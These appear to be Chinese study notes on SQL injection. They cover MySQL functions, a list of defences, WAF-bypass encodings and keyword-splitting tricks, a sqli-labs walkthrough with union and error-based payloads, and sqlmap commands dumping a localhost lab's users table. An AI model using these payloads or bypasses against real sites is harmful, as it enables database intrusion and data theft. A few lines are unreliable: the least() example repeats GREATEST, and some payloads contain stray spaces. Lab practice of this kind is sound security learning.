一、SQL注入基础知识
原理:
当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,致使数据库把用户输入的数据当作代码来执行,由此获取或修改数据库中的数据。
常用函数:
system_user() # 系统用户名
user() # 用户名
current_user() # 当前用户名
session_user() # 连接数据库的用户名
database() # 数据库名
version() # 数据库版本
load_file() # 转成16进制或10进制MySQL读取本地文件的函数
@@datadir # 读取数据库路径
@@basedir # 安装路径
@@version_compile_os # 数据库安装所在的操作系统
防御手段:
- 使用参数化查询(Parameterized Queries): 参数化查询是一种将SQL代码与数据分离的查询方法。在执行SQL语句时,不是直接将用户输入的数据拼接到SQL语句中,而是使用占位符来代替数据,数据库会自动处理这些数据,从而避免了SQL注入攻击。
- 输入验证和过滤(Input Validation and Sanitization): 对所有用户输入进行严格的验证,确保输入的数据符合预期的格式。对于不符合格式的数据,应当拒绝或者进行适当的过滤和转义,去除可能用于注入的SQL关键字和特殊字符。
- 使用存储过程(Stored Procedures): 存储过程是在数据库中预编译的SQL语句集合。使用存储过程可以减少直接与数据库交互的机会,同时存储过程可以设置参数化输入,从而降低SQL注入的风险。
- 最小权限原则(Principle of Least Privilege): 数据库连接和操作应该使用最小权限的账户。这意味着应用程序使用的数据库账户只应该拥有执行必要操作所需的权限,这样可以限制攻击者在成功注入SQL后的操作范围。
- 使用ORM框架(Object-Relational Mapping Frameworks): ORM框架可以自动将对象映射到数据库表,并且通常采用参数化查询来与数据库交互,从而减少SQL注入的风险。
- 使用准备语句(Prepared Statements): 准备语句与参数化查询类似,它们都是将SQL语句与数据分离的技术。准备语句首先发送一个带有占位符的SQL语句到数据库,然后再发送数据,数据库会处理这些数据,从而避免了注入攻击。
- 使用安全的数据库连接(Secure Database Connections): 使用加密的连接(如SSL/TLS)来保护数据库的连接过程,防止中间人攻击者在数据传输过程中注入恶意代码。
- 避免动态拼接SQL语句(Avoid Dynamic SQL): 尽量避免在应用程序中动态构建SQL语句。如果必须使用,应该仔细检查和清理所有外部输入,或者使用参数化查询。
- 使用防火墙和入侵检测系统(Firewalls and Intrusion Detection Systems): 在数据库服务器前使用防火墙可以限制不必要的访问,而入侵检测系统(IDS)可以监控可疑的数据库活动,帮助及时发现和阻止SQL注入攻击。
- 定期更新和维护数据库软件(Regular Updates and Maintenance of Database Software): 定期更新数据库软件可以确保所有已知的安全漏洞得到修补,减少攻击者利用这些漏洞进行SQL注入的机会。
常用绕过waf的方法:
一、绕过空格
URL编码参考:
‘为%27
#为%23
%20 :表示空格字符
%09 :表示水平制表符(Tab 键)
%0a :表示换行符(LF,Line Feed)
%0b :表示垂直制表符
%0c :表示换页符
%0d :表示回车符(CR,Carriage Return)
%A0 :不是常见的标准编码,可能是特定上下文中的自定义编码
%00 :表示空字符(Null 字符)
/**/ :通常用于注释。在 /**/ 之间的内容会被视为注释,不会被执行
/*!*/:特定的一种特殊注释形式
二、引号绕过:
引号内字母 转 十六进制,”test” >>>0x74657374
三、比较符号(<、>)绕过WAF过滤(sqlmap盲注经常使用<、>,使用between的脚本):
greatest():函数接受多个参数,并返回其中的最大值
例如:SELECT GREATEST(10, 20, 5, 15); 值为:20
least():函数接受多个参数,并返回其中的最小值
例如:SELECT GREATEST(10, 20, 5, 15); 值为:5
四、绕过union,select,where:
(1)使用注释符绕过:
常用注释符:
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
(2)使用大小写绕过:
id=-1'UnIoN/**/SeLeCT
(3)内联注释绕过:
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):
id=-1'UNIunionONSeLselectECT1,2,3--
【WAF BYPASS】SQL注入漏洞之WAF绕过方式探索(万种)_sql注入绕过waf-CSDN博客
浅谈Sql注入总结笔记整理(超详细) - FreeBuf网络安全行业门户
【超详细版】SQL注入原理及思路绕过(看这篇就够了)_sql注入order by绕过-CSDN博客
二、sqli-labs靶场实践
第一关:
尝试?id=1
尝试?id=2-1,与上不同,判断为字符型
逐个尝试,最终?id=1'order by 4--+报错,判断字段数最大为3
查看哪些字段是有回显,?id=-1'union select 1,2,3--+,可以判断出2,3为回显位置
进行sql注入,?id=-1'union select 1,user(),database()--+,查询用户名和数据库名,成功
第二关:
经过尝试?id=1与?id=2-1结果一样,可运算,数字型
?id=1 order by 4--+ (数字型不需要单引号')
重新走一遍上面的步骤:
?id=-1 union select 1,version(),database()--+,最终也可以访问数据
第三关:
?id=1与?id=2-1回显不同,判断为字符型
但?id=1' 。。。。。报错
'闭合错误,选择添加括号,?id=-1' )union select 1,version(),database()--+,成功
第四关:
?id=-1" )union select 1,version(),database()--+
第五关:
没有回显
依然可以用order by 判断字段数为3
问题是没法判断有效回显,只会返回you are in
选择报错注入
-
updatexml()函数
-
updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
-
作用:改变文档中符合条件的节点的值
-
语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
-
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
-
例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误
-
extractvalue()函数
-
此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
-
extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
-
select user,password from users where user_id=1 and (extractvalue(1,0x7e));
-
由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
?id=-1' and updatexml(1,concat(0x7e,database()),1)--+,显示出数据库名
可以进行深入爆破
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
获得security库所有表名
获得emails表的列名
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'%20 and table_name='emails'),0x7e),1)--+
三、SQLi手工注入步骤
1) 判断是否存在注入点
2) 判断字段数量
3)判断字段前端回显位置
4) 判断数据库信息
5) 查找数据库名
union select information_schema from info rmation_schema.schemata
6)查找数据库表名
union select group_concat(table_name) from information_schema.tables where table_schema=database()--+
7)查找列名
-1' union select 1,(select group_concat(column_name) from information_schem a.columns where table_name='biaoming'),3,4#
8)查数据
-1' union select 1,(select columnsname from tablename),3,4# S
四、sqlmap通过第六关
python sqlmap.py -u 'http://127.0.0.1/sqli-labs-master/Less-6/?id=1',扫出注入漏洞
python sqlmap.py -u 'http://127.0.0.1/sqli-labs-master/Less-6/?id=1' --dbs,爆数据库名
python sqlmap.py -u 'http://127.0.0.1/sqli-labs-master/Less-6/?id=1' -D 'security' --tables,
爆security库表名
python sqlmap.py -u 'http://127.0.0.1/sqli-labs-master/Less-6/?id=1' -D 'security' -T 'users' --dump
爆users表的数据